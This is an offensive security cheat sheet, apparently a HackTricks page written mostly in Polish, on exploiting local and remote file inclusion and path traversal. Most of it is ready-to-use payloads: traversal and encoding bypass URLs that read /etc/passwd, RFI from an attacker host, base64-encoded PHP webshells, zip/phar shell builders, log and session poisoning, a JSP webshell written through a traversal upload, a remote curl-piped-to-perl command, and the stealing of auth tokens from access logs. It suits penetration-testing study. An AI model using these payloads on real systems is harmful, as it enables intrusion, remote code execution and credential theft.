File Inclusion/Path traversal

Reading time: 28 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (najlepiej: możesz zapisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Luka występuje, gdy użytkownik w pewien sposób może kontrolować plik, który zostanie załadowany przez serwer.

Podatne funkcje PHP: require, require_once, include, include_once

Ciekawe narzędzie do wykorzystania tej luki: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Łącząc kilka list *nix LFI i dodając więcej ścieżek, stworzyłem tę:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zamienić / na \
Spróbuj także dodać ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Scalanie różnych wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zamienić / na \
Spróbuj także usunąć C:/ i dodać ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Sprawdź listę LFI linux.

Podstawowe LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekwencje traversal usuwane nierekursywnie

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Omijanie dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

To zostało naprawione w PHP 5.4

Kodowanie

Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Z istniejącego katalogu

Być może back-end sprawdza ścieżkę katalogu:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Eksplorowanie katalogów systemu plików na serwerze

System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:

  1. Określ głębokość katalogu: Ustal głębokość bieżącego katalogu, pobierając pomyślnie plik /etc/passwd (dotyczy serwerów Linux-based). Przykładowy URL może mieć następującą strukturę, wskazując głębokość równą trzy:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sprawdź foldery: Dodaj nazwę podejrzanego folderu (np. private) do URL, a następnie przejdź z powrotem do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia depth o jeden:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Zinterpretuj wyniki: Odpowiedź serwera wskazuje, czy folder istnieje:
  • Błąd / Brak odpowiedzi: Folder private prawdopodobnie nie istnieje w określonej lokalizacji.
  • Zawartość /etc/passwd: Obecność folderu private została potwierdzona.
  1. Rekurencyjne przeszukiwanie: Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).

Aby przeszukać katalogi w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation to metoda stosowana do manipulacji ścieżkami plików w aplikacjach webowych. Często używana jest do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po modyfikacji przez mechanizm bezpieczeństwa nadal wskazuje na pożądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ są traktowane jako ta sama ścieżka.
  • Jeśli ostatnie 6 znaków to passwd, dopisanie / (tworząc passwd/) nie zmienia wskazywanego pliku.
  • Podobnie, jeśli do ścieżki pliku dopisane jest .php (np. shellcode.php), dodanie /. na końcu nie zmieni pliku, do którego następuje dostęp.

Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do /etc/passwd, częstego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba wymaganych traversals (../) może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera.

  • Użycie segmentów kropkowych i dodatkowych znaków: Sekwencje traversal (../) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując dołączone przez serwer ciągi.
  • Określanie wymaganej liczby traversals: Metodą prób i błędów można znaleźć dokładną liczbę sekwencji ../ potrzebną do dotarcia do katalogu root, a następnie do /etc/passwd, upewniając się, że wszelkie dołączone ciągi (np. .php) zostaną zneutralizowane, a żądana ścieżka (/etc/passwd) pozostanie nietknięta.
  • Rozpoczynanie od fałszywego katalogu: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. a/). Technika ta służy jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek po stronie serwera.

Stosując techniki skracania ścieżek, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy przypadek może wymagać innego podejścia, a testy są często niezbędne, by znaleźć najskuteczniejszą metodę.

Ta podatność została naprawiona w PHP 5.3.

Sztuczki omijania filtrów

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W php domyślnie jest to wyłączone, ponieważ allow_url_include jest Off. Musi być On, żeby to działało, i w takim przypadku możesz załadować plik PHP z twojego serwera i uzyskać RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtruje dostęp do zewnętrznych stron, zgodnie z tym postem, możesz na przykład użyć protokołu data z base64, aby zdekodować b64 kod PHP i uzyskać RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

W poprzednim kodzie ostatni +.txt został dodany, ponieważ attacker potrzebował ciągu kończącego się na .txt, więc ciąg kończy się na nim, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany).

Inny przykład nie używający protokołu php:// to:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python — element root

W pythonie, w kodzie takim jak poniższy:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik poda absolute path do file_name, wcześniejsza ścieżka zostanie po prostu usunięta:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To jest zamierzone zachowanie zgodnie z the docs:

Jeśli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu ścieżki absolutnej.

Java - listowanie katalogów

Wygląda na to, że jeśli masz Path Traversal w Java i poprosisz o katalog zamiast o plik, zostanie zwrócone wylistowanie katalogu. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).

Top 25 parametrów

Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (źródło: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI przy użyciu PHP wrappers i protokołów

php://filter

Filtry PHP pozwalają wykonać podstawowe operacje modyfikacji na danych zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">" chars)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l

warning

Nadużywając filtra konwersji convert.iconv.*, możesz wygenerować dowolny tekst, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, że funkcja taka jak include przetworzy dowolny tekst. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Dekompresuje dane
  • Encryption Filters
  • mcrypt.* : Przestarzałe
  • mdecrypt.* : Przestarzałe
  • Other Filters
  • Uruchamiając w php var_dump(stream_get_filters()); możesz znaleźć kilka nieoczekiwanych filtrów:
  • consumed
  • dechunk: odwraca kodowanie HTTP chunked
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Część "php://filter" nie rozróżnia wielkości liter

Użycie php filters jako oracle do odczytu dowolnych plików

In this post zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Ta technika opiera się na boolean exfiltration pliku (znak po znaku) używając php filters jako oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php wyrzucił wyjątek.

W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej szybkie podsumowanie:

  • Użyj kodeka UCS-4LE aby zostawić prowadzący znak tekstu na początku i spowodować wykładniczy wzrost rozmiaru stringu.
  • To będzie użyte do wygenerowania tekstu tak dużego gdy początkowa litera zostanie poprawnie odgadnięta, że php wyzwoli błąd
  • Filtr dechunk usunie wszystko jeśli pierwszy znak nie jest szesnastkowy, więc możemy stwierdzić czy pierwszy znak jest hex.
  • To, w połączeniu z poprzednim (i innymi filtrami zależnie od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu obserwując kiedy po wykonaniu wystarczającej liczby transformacji przestaje być ona znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php.
  • Kodek convert.iconv.UNICODE.CP930 zamienia każdą literę na następną (więc po tym kodeku: a -> b). To pozwala nam odkryć czy pierwsza litera to np. a ponieważ jeśli zastosujemy 6 takich kodeków a->b->c->d->e->f->g litera nie będzie już znakiem szesnastkowym, wówczas dechunk jej nie usunie i błąd php zostanie wyzwolony z powodu pomnożenia przez początkową bombę.
  • Używając innych transformacji jak rot13 na początku możliwe jest wyciekanie innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte aby przesunąć inne litery do zakresu hex).
  • Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leak pierwsze 2 litery aby odsłonić cyfrę.
  • Końcowy problem to jak leak więcej niż początkowa litera. Używając filtrów zmieniających kolejność bajtów jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE możliwe jest zmienić kolejność znaków i uzyskać na pierwszej pozycji inne litery z tekstu.
  • A by móc uzyskać dalsze dane pomysł polega na wygenerowaniu 2 bajtów śmieci na początku za pomocą convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE aby je zamienić miejscami z następnymi 2 bajtami, i usunąć dane aż do śmieci (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuować to aż dojdziesz do pożądanego bitu do leak.

W poście opublikowano również narzędzie automatyzujące ten proces: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz również użyć php://stdin, php://stdout i php://stderr, aby uzyskać dostęp do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)

zip:// i rar://

Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.
Aby móc nadużyć protokołu rar, musi on zostać specjalnie aktywowany.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open i allow_url_include

expect://

Expect musi być aktywowany. Możesz wykonać kod używając tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Określ swój payload w parametrach POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do uruchomienia kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP demonstruje stworzenie pliku .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

bash
php --define phar.readonly=0 create_path.php

Po wykonaniu zostanie utworzony plik o nazwie test.phar, który potencjalnie może zostać wykorzystany do eksploatacji podatności Local File Inclusion (LFI).

W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP, przy użyciu funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), lub filesize(), można spróbować wykorzystania podatności deserializacji. Ta podatność jest związana z odczytem plików przy użyciu protokołu phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Było możliwe nadużycie any arbitrary file read from PHP that supports php filters w celu uzyskania RCE. Szczegółowy opis można found in this post.
Bardzo krótkie podsumowanie: 3 byte overflow w heapie PHP został wykorzystany do alter the chain of free chunks określonego rozmiaru, aby móc write anything in any address, więc dodano hook wywołujący system.
Było możliwe alokowanie chunków o określonych rozmiarach przez nadużycie dodatkowych php filters.

More protocols

Sprawdź więcej możliwych protocols to include here:

  • php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku typu file inclusion)
  • file:// — Dostęp do lokalnego systemu plików
  • http:// — Dostęp do URLi HTTP(s)
  • ftp:// — Dostęp do FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (Nie zwraca nic czytelnego, więc niezbyt przydatne tutaj)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Nieprzydatne do czytania arbitrary files)

LFI via PHP's 'assert'

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod zawarty w łańcuchach znaków. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal takie jak ".." jest sprawdzane, ale nieprawidłowo oczyszczone.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Chociaż ma to na celu powstrzymanie traversal, mimowolnie tworzy wektor umożliwiający code injection. Aby wykorzystać to do odczytania zawartości plików, atakujący mógłby użyć:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:

plaintext
' and die(system("id")) or '

It's important to URL-encode these payloads.

PHP Blind Path Traversal

warning

Ta technika jest istotna w przypadkach, gdy control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Podsumowując, technika używa kodowania "UCS-4LE" encoding, aby zawartość pliku stała się tak big, że PHP function opening pliku wywoła error.

Następnie, aby leak the first char użyto filtra dechunk wraz z innymi, takimi jak base64 lub rot13, a na końcu zastosowano filtry convert.iconv.UCS-4.UCS-4LE oraz convert.iconv.UTF16.UTF-16BE, aby place other chars at the beggining and leak them.

Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notes:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Zabezpieczenia, które neutralizują tę klasę błędów:

  • Rozwiązuj do ścieżki kanonicznej i wymuszaj, by była potomkiem katalogu bazowego z allow-listy.
  • Odrzucaj ścieżki zawierające .., ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
  • Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.

Remote File Inclusion

Wyjaśnione wcześniej, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Inne możliwe ścieżki logów:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Odczyt logów dostępu, aby pozyskać GET-based auth tokens (token replay)

Wiele aplikacji błędnie akceptuje session/auth tokens przez GET (np. AuthenticationToken, token, sid). Jeśli masz path traversal/LFI umożliwiające dostęp do logów dostępu serwera WWW, możesz ukraść te tokens z logów dostępu i replayować je, aby całkowicie obejść uwierzytelnianie.

How-to:

  • Użyj path traversal/LFI, aby odczytać logi dostępu serwera WWW. Typowe lokalizacje:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Niektóre endpointy zwracają zawartość plików zakodowaną w Base64. Jeśli tak, zdekoduj lokalnie i przejrzyj linie loga.
  • Użyj grep, aby znaleźć GET requests zawierające parametr token i przechwycić jego wartość, następnie replayuj ją w punkcie wejścia aplikacji.

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Zdekoduj body, jeśli jest w Base64, a następnie odtwórz przechwycony token:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notatki:

  • Tokens w URL-ach są domyślnie logowane; nigdy nie akceptuj bearer tokens przez GET w systemach produkcyjnych.
  • Jeśli aplikacja obsługuje wiele token names, przeszukaj pod kątem popularnych kluczy takich jak AuthenticationToken, token, sid, access_token.
  • Rotuj wszystkie tokens, które mogły zostać leaked do logów.

Przez e-mail

Wyślij mail na konto wewnętrzne (user@localhost) zawierający Twój PHP payload jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć go do maila użytkownika za pomocą ścieżki takiej jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Przez /proc//fd/

  1. Wgraj dużo shells (na przykład: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (może być brute forced) a $FD to deskryptor pliku (może być brute forced również)

Przez /proc/self/environ

Podobnie jak w pliku logów, wyślij payload w polu User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Przez upload

Jeśli możesz uploadować plik, po prostu wstrzykij w niego shell payload (np.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/dokumentów/pdf

Przez przesłanie pliku ZIP

Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj do niego dostęp:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Za pomocą PHP sessions

Sprawdź, czy strona używa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP sesje te są przechowywane w /var/lib/php5/sess\[PHPSESSID]_ plikach

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Przez ssh

Jeśli ssh jest aktywne, sprawdź, którego użytkownika użyto (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Przez vsftpd logi

Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, gdzie istnieje podatność Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki:

  1. Wstrzyknij PHP payload w pole username podczas procesu logowania.
  2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Przez php base64 filter (using base64)

Jak pokazano w this artykule, filtr PHP base64 po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dopisze "php" do base64. Oto przykładowy payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Przez php filters (plik nie jest potrzebny)

This writeup wyjaśnia, że możesz użyć php filters aby wygenerować dowolną zawartość jako output. Co w zasadzie oznacza, że możesz wygenerować dowolny php code dla include bez potrzeby zapisywania go do pliku.

LFI2RCE via PHP Filters

Przez segmentation fault

Upload plik, który zostanie zapisany jako tymczasowy w /tmp, potem w tym samym żądaniu wywołaj segmentation fault, a wtedy plik tymczasowy nie zostanie usunięty i możesz go znaleźć.

LFI2RCE via Segmentation Fault

Przez Nginx temp file storage

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz uzyskać RCE za pomocą następującej techniki:

LFI2RCE via Nginx temp files

Przez PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest ustawione na Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP automatycznie włączy sesję za Ciebie. Możesz to wykorzystać do uzyskania RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Przez temp file uploads in Windows

Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz uzyskać RCE:

LFI2RCE Via temp file uploads

Przez pearcmd.php + URL args

As explained in this post, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Ponadto możliwe jest przekazywanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma =, powinien być użyty jako argument. Zobacz także watchTowr’s write-up oraz Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Poniższe wykorzystuje CRLF vuln do uzyskania RCE (z here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Przez phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

